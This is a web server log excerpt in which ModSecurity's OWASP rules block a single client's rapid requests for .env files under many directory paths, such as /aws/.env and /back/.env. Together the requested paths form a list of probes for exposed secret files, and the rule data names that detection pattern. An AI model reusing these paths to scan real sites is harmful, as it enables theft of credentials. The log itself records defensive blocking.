[Mon Jul 28 20:46:04.665722 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEQAAAAM&quot;]
[Mon Jul 28 20:46:04.665880 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aws/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEQAAAAM&quot;]
[Mon Jul 28 20:46:04.687851 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /azure/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEgAAAAM&quot;]
[Mon Jul 28 20:46:04.688046 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEgAAAAM&quot;]
[Mon Jul 28 20:46:04.688198 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/azure/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEgAAAAM&quot;]
[Mon Jul 28 20:46:04.710155 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEwAAAAM&quot;]
[Mon Jul 28 20:46:04.710429 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEwAAAAM&quot;]
[Mon Jul 28 20:46:04.710634 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/as-alias/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cEwAAAAM&quot;]
[Mon Jul 28 20:46:04.732496 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFAAAAAM&quot;]
[Mon Jul 28 20:46:04.732694 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFAAAAAM&quot;]
[Mon Jul 28 20:46:04.732844 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/default/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFAAAAAM&quot;]
[Mon Jul 28 20:46:04.754772 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFQAAAAM&quot;]
[Mon Jul 28 20:46:04.754972 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFQAAAAM&quot;]
[Mon Jul 28 20:46:04.755169 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/dev-env/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFQAAAAM&quot;]
[Mon Jul 28 20:46:04.777109 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFgAAAAM&quot;]
[Mon Jul 28 20:46:04.777315 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFgAAAAM&quot;]
[Mon Jul 28 20:46:04.777470 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFgAAAAM&quot;]
[Mon Jul 28 20:46:04.799304 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFwAAAAM&quot;]
[Mon Jul 28 20:46:04.799494 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFwAAAAM&quot;]
[Mon Jul 28 20:46:04.799644 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cFwAAAAM&quot;]
[Mon Jul 28 20:46:04.821509 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGAAAAAM&quot;]
[Mon Jul 28 20:46:04.821715 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGAAAAAM&quot;]
[Mon Jul 28 20:46:04.821881 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGAAAAAM&quot;]
[Mon Jul 28 20:46:04.844103 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGQAAAAM&quot;]
[Mon Jul 28 20:46:04.844298 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGQAAAAM&quot;]
[Mon Jul 28 20:46:04.844462 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGQAAAAM&quot;]
[Mon Jul 28 20:46:04.866424 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back-end/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGgAAAAM&quot;]
[Mon Jul 28 20:46:04.866609 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGgAAAAM&quot;]
[Mon Jul 28 20:46:04.866763 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGgAAAAM&quot;]
[Mon Jul 28 20:46:04.888621 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGwAAAAM&quot;]
[Mon Jul 28 20:46:04.888806 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGwAAAAM&quot;]
[Mon Jul 28 20:46:04.888971 2025] [:error] [pid 1522294] [client 185.177.72.201:42752] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aIfFbBd6_yVRS98tgw1cGwAAAAM&quot;]
